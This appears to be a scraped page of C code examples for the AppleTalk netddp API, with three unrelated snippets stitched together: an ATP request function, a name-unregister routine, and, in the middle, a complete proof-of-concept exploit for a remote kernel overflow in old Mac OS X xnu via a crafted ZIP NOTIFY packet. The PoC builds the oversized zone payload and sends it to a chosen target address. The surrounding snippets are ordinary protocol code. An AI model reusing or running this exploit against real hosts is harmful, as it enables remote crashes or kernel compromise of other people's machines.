示例#1
0
/*
 * ah:        open atp handle
 * atpb:      parameter block
 * respcount: buffers available for response
 * flags:     ATP_XO, ATP_TREL
 */
int
atp_sreq( ATP ah, struct atp_block *atpb, int respcount, u_int8_t flags )
{
    struct atpbuf	*req_buf;
    int			i;

#ifdef EBUG
    atp_print_bufuse( ah, "atp_sreq" );
#endif /* EBUG */

    /* check parameters
    */
    if ( atpb->atp_sreqdlen < 4 || atpb->atp_sreqdlen > ATP_MAXDATA
	    || ( respcount < 0 ) || ( respcount > 8 )
	    || ( atpb->atp_sreqto < 0 ) || (( atpb->atp_sreqtries < 1 )
	    && ( atpb->atp_sreqtries != ATP_TRIES_INFINITE ))) {
	errno = EINVAL;
	return -1;
    }
    /* clean up any packet fragments left from last request
    */
    for ( i = 0; i < 8; ++i ) {
	if ( ah->atph_resppkt[ i ] != NULL ) {
	    atp_free_buf( ah->atph_resppkt[ i ] );
	    ah->atph_resppkt[ i ] = NULL;
	}
    }

    /* generate bitmap, tid and ctrlinfo
    */
    atpb->atp_bitmap = ( 1 << respcount ) - 1;

    /* allocate a new buffer and build request packet
    */
    if (( req_buf = atp_alloc_buf()) == NULL ) {
	return( -1 );
    }
    atp_build_req_packet( req_buf, ah->atph_tid++, flags | ATP_TREQ, atpb );
    memcpy( &req_buf->atpbuf_addr, atpb->atp_saddr,
	    sizeof( struct sockaddr_at ));

    /* send the initial request
    */
#ifdef EBUG
    printf( "\n<%d> atp_sreq: sending a %ld byte packet ", getpid(),
	    req_buf->atpbuf_dlen );
    atp_print_addr( " to", atpb->atp_saddr );
    putchar( '\n' );
    bprint( req_buf->atpbuf_info.atpbuf_data, req_buf->atpbuf_dlen );
#endif /* EBUG */

    gettimeofday( &ah->atph_reqtv, (struct timezone *)0 );
#ifdef DROPPACKETS
if (( random() % 3 ) != 2 ) {
#endif /* DROPPACKETS */
    if ( netddp_sendto( ah->atph_socket, req_buf->atpbuf_info.atpbuf_data,
	    req_buf->atpbuf_dlen, 0, (struct sockaddr *) atpb->atp_saddr,
	    sizeof( struct sockaddr_at )) != req_buf->atpbuf_dlen ) {
	atp_free_buf( req_buf );
	return( -1 );
    }
#ifdef DROPPACKETS
} else printf( "<%d> atp_sreq: dropped request\n", getpid() );
#endif /* DROPPACKETS */

    if ( atpb->atp_sreqto != 0 ) {
	if ( ah->atph_reqpkt != NULL ) {
	    atp_free_buf( ah->atph_reqpkt );
	}
	ah->atph_reqto = atpb->atp_sreqto;
	if ( atpb->atp_sreqtries == ATP_TRIES_INFINITE ) {
	    ah->atph_reqtries = ATP_TRIES_INFINITE;
	} else {
	    /* we already sent one */
	    ah->atph_reqtries = atpb->atp_sreqtries - 1;
	}
	ah->atph_reqpkt = req_buf;
	ah->atph_rbitmap = ( 1 << respcount ) - 1;
	ah->atph_rrespcount = respcount;
    } else {
	atp_free_buf( req_buf );
	ah->atph_rrespcount = 0;
    }

    return( 0 );
}
int
main (int argc, char **argv)
{
  struct sockaddr_at daddr, saddr;
  char *p, buf[1024];
  int fd, zlen;

  printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc < 3)
    {
      fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  if (!atalk_aton (argv[1], &daddr.sat_addr))
    {
      fprintf (stderr, "* dst address: atalk_aton failed\n");
      exit (EXIT_FAILURE);
    }

  if (argc > 3)
    {
      if (!atalk_aton (argv[3], &saddr.sat_addr))
        {
          fprintf (stderr, "* src address: atalk_aton failed\n");
          exit (EXIT_FAILURE);
        }
    }

  daddr.sat_family = AF_APPLETALK;
  daddr.sat_port = 6;

  if ((fd = netddp_open (argc > 3 ? &saddr
                                  : NULL, NULL)) < 0)
    {
      fprintf (stderr, "* netddp_open failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("Appletalk dst: %s, ", argv[1]);
  if (argc > 3)
    printf ("src: %s, ", argv[3]);
  printf ("zone: %s... ", argv[2]);

  p = buf;
  *p++ = DDPTYPE_ZIP;
  *p++ = ZIPOP_NOTIFY;  /* ZIP NOTIFY   */
  *p++ = 0x00;

  *p++ = 0x00;          /* pad          */
  *p++ = 0x00;
  *p++ = 0x00;
  *p++ = 0x00;

  zlen = strlen (argv[2]);
  *p++ = zlen;
  memcpy (p, argv[2], zlen);
  p += zlen;

  *p++ = 0x80;          /* >= 0x80 sign extended :(
                         * <  0x80 not enough to hit anything useful,
                         *         except maybe ifPort...
                         */
  memset (p, 0x41, 0x80);
  p += 0x80;

  if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr,
                                          sizeof (struct sockaddr_at)) < 0)
    {
      fprintf (stderr, "* netddp_sendto failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  return (EXIT_SUCCESS);
}
示例#3
0
int nbp_unrgstr(const char *obj,const char *type,const char  *zone, const struct at_addr *addr)
{
    struct sockaddr_at	to;
    struct nbphdr	nh;
    struct timeval	timeout;
    fd_set		readfd;
    struct servent	*se;
    char		*data;
    int			s, cc;
    SOCKLEN_T		namelen;


    memset(&to, 0, sizeof(to));
    if ((s = netddp_open(&to, NULL)) < 0)
	return -1;

    data = nbp_send;
    *data++ = DDPTYPE_NBP;
    nh.nh_op = NBPOP_UNRGSTR;
    nh.nh_cnt = 1;
    nh.nh_id = ++nbp_id;
    memcpy( data, &nh, SZ_NBPHDR );
    data += SZ_NBPHDR;

    memset(data, 0, SZ_NBPTUPLE);
    data += SZ_NBPTUPLE;

    if ( obj ) {
	if (( cc = strlen( obj )) > NBPSTRLEN ) return( -1 );
	*data++ = cc;
	memcpy( data, obj, cc );
	data += cc;
    } else {
	*data++ = 0;
    }

    if ( type ) {
	if (( cc = strlen( type )) > NBPSTRLEN ) return( -1 );
	*data++ = cc;
	memcpy( data, type, cc );
	data += cc;
    } else {
	*data++ = 0;
    }

    if ( zone ) {
	if (( cc = strlen( zone )) > NBPSTRLEN ) return( -1 );
	*data++ = cc;
	memcpy( data, zone, cc );
	data += cc;
    } else {
	*data++ = 0;
    }

    memset( &to, 0, sizeof( struct sockaddr_at ));
    to.sat_family = AF_APPLETALK;
    if (addr) 
      memcpy(&to.sat_addr, addr, sizeof(struct at_addr));
#ifdef BSD4_4
    to.sat_len = sizeof( struct sockaddr_at );
#endif /* BSD4_4 */

    if ( nbp_port == 0 ) {
	if (( se = getservbyname( "nbp", "ddp" )) == NULL ) {
	    nbp_port = 2;
	} else {
	    nbp_port = ntohs( se->s_port );
	}
    }
    to.sat_port = nbp_port;

    if ( netddp_sendto( s, nbp_send, data - nbp_send, 0,
			(struct sockaddr *)&to,
			sizeof( struct sockaddr_at )) < 0 ) {
        goto unregister_err;
    }

    FD_ZERO( &readfd );
    FD_SET( s, &readfd );
    timeout.tv_sec = 2;
    timeout.tv_usec = 0;
    if (( cc = select( s + 1, &readfd, NULL, NULL, &timeout )) < 0 ) {
        goto unregister_err;
    }
    if ( cc == 0 ) {
	errno = ETIMEDOUT;
        goto unregister_err;
    }

    namelen = sizeof( struct sockaddr_at );
    if (( cc = netddp_recvfrom( s, nbp_recv, sizeof( nbp_recv ), 0,
			(struct sockaddr *)&to, &namelen )) < 0 ) {
        goto unregister_err;
    }
    netddp_close( s );

    data = nbp_recv;
    if ( *data++ != DDPTYPE_NBP ) {
	return( -1 );
    }
    memcpy( &nh, data, SZ_NBPHDR );
    if ( nh.nh_op != NBPOP_OK ) {
	return( -1 );
    }
    return( 0 );

unregister_err:
    netddp_close(s);
    return -1;
}